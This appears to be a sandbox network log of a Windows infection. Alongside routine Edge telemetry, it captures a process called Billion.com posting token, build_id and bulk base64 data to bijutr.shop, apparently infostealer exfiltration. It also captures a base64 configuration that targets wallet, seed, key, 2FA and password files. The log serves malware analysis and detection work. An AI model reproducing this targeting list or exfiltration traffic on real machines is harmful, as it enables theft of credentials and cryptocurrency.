2024-12-24 18:28:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:44 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50079	20.189.173.2	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:43 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735064921021&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5371 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=302665E99E416E3C182470B69FCB6F6B; _EDGE_S=F=1&SID=0DE3EBFAB5BE6BFF1F65FEA5B4FF6AFE; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-24 18:28:43 UTC	5371	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 34 54 31 38 3a 32 38 3a 34 31 2e 30 32 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 66 34 38 64 30 61 64 2d 39 65 62 30 2d 34 64 66 33 2d 62 63 36 62 2d 35 63 31 32 33 31 64 39 32 33 62 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 36 30 31 37 35 39 37 30 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-24T18:28:41.021Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"ef48d0ad-9eb0-4df3-bc6b-5c1231d923b9","epoch":"3601759707"},"app":{"locale
2024-12-24 18:28:44 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7cfa92acd35f4775b018ad71d4ae2aa0&HASH=7cfa&LV=202412&V=4&LU=1735064923993; Domain=.microsoft.com; Expires=Wed, 24 Dec 2025 18:28:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a0df12bcc0c74c40980250217acdef22; Domain=.microsoft.com; Expires=Tue, 24 Dec 2024 18:58:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2972 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 24 Dec 2024 18:28:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50081	20.189.173.2	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:43 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735064921170&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9827 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=302665E99E416E3C182470B69FCB6F6B; _EDGE_S=F=1&SID=0DE3EBFAB5BE6BFF1F65FEA5B4FF6AFE; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-24 18:28:43 UTC	9827	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 34 54 31 38 3a 32 38 3a 34 31 2e 31 36 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 66 34 38 64 30 61 64 2d 39 65 62 30 2d 34 64 66 33 2d 62 63 36 62 2d 35 63 31 32 33 31 64 39 32 33 62 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 36 30 31 37 35 39 37 30 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-12-24T18:28:41.169Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"ef48d0ad-9eb0-4df3-bc6b-5c1231d923b9","epoch":"3601759707"},"app":{"loc
2024-12-24 18:28:44 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=dd9984778ef74de9a608d4fb2f9814a0&HASH=dd99&LV=202412&V=4&LU=1735064924588; Domain=.microsoft.com; Expires=Wed, 24 Dec 2025 18:28:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=52f908f8da6942a7ab29715bd266243b; Domain=.microsoft.com; Expires=Tue, 24 Dec 2024 18:58:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3418 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 24 Dec 2024 18:28:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50087	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:45 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----0ZUSR1VAI58QQI5XT2DJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:45 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 5a 55 53 52 31 56 41 49 35 38 51 51 49 35 58 54 32 44 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 30 5a 55 53 52 31 56 41 49 35 38 51 51 49 35 58 54 32 44 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 30 5a 55 53 52 31 56 41 49 35 38 51 51 49 35 58 54 32 44 4a 0d 0a 43 6f 6e 74 Data Ascii: ------0ZUSR1VAI58QQI5XT2DJContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------0ZUSR1VAI58QQI5XT2DJContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------0ZUSR1VAI58QQI5XT2DJCont
2024-12-24 18:28:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:46 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50094	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:48 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----TJ5X4EUSR1NYMY5FC2VS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 98329 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:48 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 54 4a 35 58 34 45 55 53 52 31 4e 59 4d 59 35 46 43 32 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 54 4a 35 58 34 45 55 53 52 31 4e 59 4d 59 35 46 43 32 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 54 4a 35 58 34 45 55 53 52 31 4e 59 4d 59 35 46 43 32 56 53 0d 0a 43 6f 6e 74 Data Ascii: ------TJ5X4EUSR1NYMY5FC2VSContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------TJ5X4EUSR1NYMY5FC2VSContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------TJ5X4EUSR1NYMY5FC2VSCont
2024-12-24 18:28:48 UTC	16355	OUT	Data Raw: 55 55 55 55 41 46 46 46 46 41 42 53 55 74 46 41 43 55 55 55 55 41 46 4a 53 30 55 41 4a 52 52 52 51 41 55 6c 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 42 6f 6f 4e 41 43 55 55 55 55 41 46 46 46 46 41 43 55 55 74 4a 51 41 6c 46 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 53 47 6c 70 44 51 41 55 55 55 55 41 46 4a 53 30 6c 41 42 51 61 4b 4b 41 45 6f 70 61 53 67 41 6f 6f 6f 6f 41 4b 53 6c 6f 6f 41 53 69 69 69 67 42 4b 4b 57 6b 6f 41 4b 4b 4b 4b 41 45 6f 6f 6f 6f 41 4b 53 6c 70 4b 41 43 6b 70 61 53 67 41 6f 6f 6f 6f 41 31 36 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 53 76 4d 66 69 55 76 38 41 59 2f 69 7a 77 78 34 6d 58 68 49 70 78 62 7a 74 2f 73 35 7a 2f Data Ascii: UUUUAFFFFABSUtFACUUUUAFJS0UAJRRRQAUlLRQAlFFFABRRRQAUUUUAFBooNACUUUUAFFFFACUUtJQAlFLRQAlFFFABRRRQAlFFFABRRRQAlFFFABRRRQAlFFFABSGlpDQAUUUUAFJS0lABQaKKAEopaSgAooooAKSlooASiiigBKKWkoAKKKKAEooooAKSlpKACkpaSgAooooA16KKKACiiigAooooASvMfiUv8AY/izwx4mXhIpxbzt/s5z/
2024-12-24 18:28:48 UTC	16355	OUT	Data Raw: 58 74 35 66 52 74 48 6d 5a 34 57 4f 6c 7a 56 62 64 69 56 66 61 70 56 2b 74 51 67 31 49 44 58 71 4a 48 46 59 6e 55 38 31 4b 6f 79 61 69 58 72 55 79 34 37 35 6f 73 5a 76 79 46 78 6e 33 71 49 75 38 54 5a 51 6b 56 30 57 6c 65 48 70 62 77 43 57 34 4a 53 49 39 42 33 4e 64 52 44 34 61 30 6c 49 67 72 57 6f 6b 39 53 35 35 72 68 72 59 36 6c 42 38 75 35 32 55 73 42 55 71 4b 37 30 4f 4a 73 72 78 5a 78 74 59 34 63 56 63 48 31 72 62 31 48 77 66 61 4d 50 4f 73 43 59 5a 6c 35 41 37 47 73 44 4d 6b 55 6a 52 54 4c 74 6b 55 34 59 56 35 39 53 74 43 57 73 54 48 45 59 57 56 46 33 65 78 4d 4b 73 78 4e 7a 56 51 4e 79 4b 6d 6a 50 4e 65 64 56 6c 71 63 36 4e 69 32 63 35 46 62 31 72 4a 6c 4b 35 6d 32 62 70 57 37 5a 53 56 77 54 33 4c 6a 6f 58 37 75 50 7a 37 4f 52 44 32 55 6b 66 57 75 Data Ascii: Xt5fRtHmZ4WOlzVbdiVfapV+tQg1IDXqJHFYnU81KoyaiXrUy475osZvyFxn3qIu8TZQkV0WleHpbwCW4JSI9B3NdRD4a0lIgrWok9S55rhrY6lB8u52UsBUqK70OJsrxZxtY4cVcH1rb1HwfaMPOsCYZl5A7GsDMkUjRTLtkU4YV59StCWsTHEYWVF3exMKsxNzVQNyKmjPNedVlqc6Ni2c5Fb1rJlK5m2bpW7ZSVwT3LjoX7uPz7ORD2UkfWu
2024-12-24 18:28:48 UTC	16355	OUT	Data Raw: 4c 77 73 59 6a 79 55 75 4a 6c 7a 39 4a 47 72 71 5a 66 38 41 56 50 37 71 66 35 56 7a 50 77 2f 50 2f 45 69 6e 2f 77 43 76 79 66 38 41 39 47 4e 51 42 31 66 57 69 6c 48 53 69 67 42 4b 4b 4b 4b 41 43 6b 6f 70 61 41 45 78 53 55 74 4c 51 41 32 6b 7a 54 73 55 6d 4b 41 4f 48 31 35 64 33 6a 37 54 51 41 54 2b 37 42 50 48 75 61 36 31 77 32 7a 39 32 71 37 6a 30 7a 58 4f 61 68 6b 66 45 4b 7a 32 70 76 50 32 5a 75 50 7a 72 6f 50 4e 75 63 38 32 35 78 37 4d 4b 74 45 4d 57 52 6c 69 69 33 4f 42 6e 67 48 61 4b 52 49 59 34 77 46 7a 79 54 6e 6b 30 65 5a 50 2f 77 41 2b 72 66 38 41 66 61 31 45 42 4f 58 4c 79 51 4d 78 42 79 76 7a 44 69 71 4a 4c 47 7a 50 51 44 30 36 30 30 49 33 6e 4e 6b 4c 73 2f 68 48 70 51 5a 4a 2b 76 32 5a 76 2b 2b 68 52 35 73 2f 48 2b 6a 4e 7a 2f 74 69 67 43 4e Data Ascii: LwsYjyUuJlz9JGrqZf8AVP7qf5VzPw/P/Ein/wCvyf8A9GNQB1fWilHSigBKKKKACkopaAExSUtLQA2kzTsUmKAOH15d3j7TQAT+7BPHua61w2z92q7j0zXOahkfEKz2pvP2ZuPzroPNuc825x7MKtEMWRlii3OBngHaKRIY4wFzyTnk0eZP/wA+rf8Afa1EBOXLyQMxByvzDiqJLGzPQD0600I3nNkLs/hHpQZJ+v2Zv++hR5s/H+jNz/tigCN
2024-12-24 18:28:48 UTC	16355	OUT	Data Raw: 70 78 64 6d 6d 4e 53 6c 73 39 6a 48 62 56 72 39 4a 4d 4e 5a 6c 6c 55 34 4f 31 54 79 66 38 4d 59 71 5a 74 59 6d 55 74 2f 6f 45 70 41 58 63 4d 44 72 57 76 67 65 67 78 52 67 65 67 34 36 56 73 68 47 44 4c 72 56 32 34 68 4d 46 6c 49 43 78 47 34 4d 4f 67 72 63 58 4a 55 45 39 78 54 73 44 47 4f 50 79 6f 41 34 70 67 4a 53 5a 70 39 4a 69 67 44 6b 37 67 2f 38 58 4c 73 76 2b 76 52 76 36 31 31 31 63 66 65 6e 62 38 53 62 48 2f 72 30 62 2b 74 64 50 35 68 39 61 41 4c 4f 52 54 66 78 71 44 7a 50 65 6b 33 6d 67 43 63 39 61 53 6f 64 35 6f 38 77 30 41 53 45 6d 6d 6d 6f 7a 49 61 54 64 51 41 2b 6b 4a 46 4d 4a 4e 4d 4c 55 41 50 4c 55 77 6d 6d 46 36 4e 31 41 44 73 30 30 6d 6d 6c 71 61 57 6f 41 63 54 54 53 61 61 54 52 6e 69 67 42 63 30 32 6b 7a 53 5a 6f 41 55 6d 6d 35 70 43 61 54 Data Ascii: pxdmmNSls9jHbVr9JMNZllU4O1Tyf8MYqZtYmUt/oEpAXcMDrWvgegxRgeg46VshGDLrV24hMFlICxG4MOgrcXJUE9xTsDGOPyoA4pgJSZp9JigDk7g/8XLsv+vRv6111cfenb8SbH/r0b+tdP5h9aALORTfxqDzPek3mgCc9aSod5o8w0ASEmmmozIaTdQA+kJFMJNMLUAPLUwmmF6N1ADs00mmlqaWoAcTTSaaTRnigBc02kzSZoAUmm5pCaT
2024-12-24 18:28:48 UTC	16355	OUT	Data Raw: 62 49 78 42 4f 4e 78 50 4a 78 6e 6a 50 51 64 4b 35 71 34 73 45 66 79 78 4e 6f 31 33 4a 72 69 36 74 48 4a 4c 64 69 31 63 35 69 2b 30 41 67 2b 62 6a 42 51 4a 74 2b 58 4a 78 6a 6f 4e 75 51 66 61 53 44 70 63 39 45 71 43 30 76 49 4c 36 45 7a 57 30 6d 2b 4d 4f 38 5a 4f 43 50 6d 56 69 72 44 6e 30 49 49 72 68 6c 74 35 70 2f 47 46 6e 64 4a 70 51 67 6b 2b 33 53 72 63 46 64 4e 6c 44 6d 50 5a 49 75 58 75 53 64 72 71 33 79 6b 4b 42 67 5a 55 5a 34 35 62 46 59 57 2b 6e 36 4a 4c 59 4c 6f 4b 4b 57 31 47 58 37 51 58 30 75 53 61 4e 55 33 79 4e 47 78 6a 51 44 7a 6c 78 74 41 77 53 46 79 44 78 6a 46 48 53 34 33 76 62 2b 75 76 38 41 6b 65 68 55 56 7a 2f 67 75 47 65 33 38 4f 72 44 50 45 30 57 79 34 6e 38 74 47 68 61 45 42 50 4d 59 72 68 47 4a 4b 72 6a 47 42 6b 34 47 4b 36 43 68 Data Ascii: bIxBONxPJxnjPQdK5q4sEfyxNo13Jri6tHJLdi1c5i+0Ag+bjBQJt+XJxjoNuQfaSDpc9EqC0vIL6EzW0m+MO8ZOCPmVirDn0IIrhlt5p/GFndJpQgk+3SrcFdNlDmPZIuXuSdrq3ykKBgZUZ45bFYW+n6JLYLoKKW1GX7QX0uSaNU3yNGxjQDzlxtAwSFyDxjFHS43vb+uv8AkehUVz/guGe38OrDPE0Wy4n8tGhaEBPMYrhGJKrjGBk4GK6Ch
2024-12-24 18:28:48 UTC	199	OUT	Data Raw: 74 35 58 68 6d 69 63 50 48 4a 47 78 56 6b 59 48 49 49 49 35 42 42 37 31 30 74 6a 34 38 31 58 4c 77 61 2f 4c 50 34 67 30 36 51 44 66 5a 36 68 63 75 34 44 44 37 72 49 78 4a 4b 4d 44 33 48 55 45 67 39 61 35 61 69 69 77 48 51 61 68 34 33 38 53 36 6a 35 38 63 6d 74 58 73 56 72 4d 70 6a 4e 6e 62 7a 76 48 62 72 47 52 6a 79 31 6a 42 32 68 63 63 59 78 30 72 6e 36 4b 4b 59 42 56 79 54 2f 41 4a 41 74 72 2f 31 38 54 66 38 41 6f 4d 64 55 36 75 53 66 38 67 57 31 2f 77 43 76 69 62 2f 30 47 4f 67 44 2f 39 6b 3d 0d 0a 2d 2d 2d 2d 2d 2d 54 4a 35 58 34 45 55 53 52 31 4e 59 4d 59 35 46 43 32 56 53 2d 2d 0d 0a Data Ascii: t5XhmicPHJGxVkYHIII5BB710tj481XLwa/LP4g06QDfZ6hcu4DD7rIxJKMD3HUEg9a5aiiwHQah438S6j58cmtXsVrMpjNnbzvHbrGRjy1jB2hccYx0rn6KKYBVyT/AJAtr/18Tf8AoMdU6uSf8gW1/wCvib/0GOgD/9k=------TJ5X4EUSR1NYMY5FC2VS--
2024-12-24 18:28:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:50 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50107	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:51 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----8YMYM7YUK6FUAIWTJEUK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 59 4d 59 4d 37 59 55 4b 36 46 55 41 49 57 54 4a 45 55 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 38 59 4d 59 4d 37 59 55 4b 36 46 55 41 49 57 54 4a 45 55 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 38 59 4d 59 4d 37 59 55 4b 36 46 55 41 49 57 54 4a 45 55 4b 0d 0a 43 6f 6e 74 Data Ascii: ------8YMYM7YUK6FUAIWTJEUKContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------8YMYM7YUK6FUAIWTJEUKContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------8YMYM7YUK6FUAIWTJEUKCont
2024-12-24 18:28:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	50110	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 59 2f 4e 76 71 70 36 34 67 30 32 79 76 70 74 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 64 62 63 62 65 62 62 66 34 36 35 33 36 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Y/Nvqp64g02yvptr.1Context: 4edbcbebbf465365
2024-12-24 18:28:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
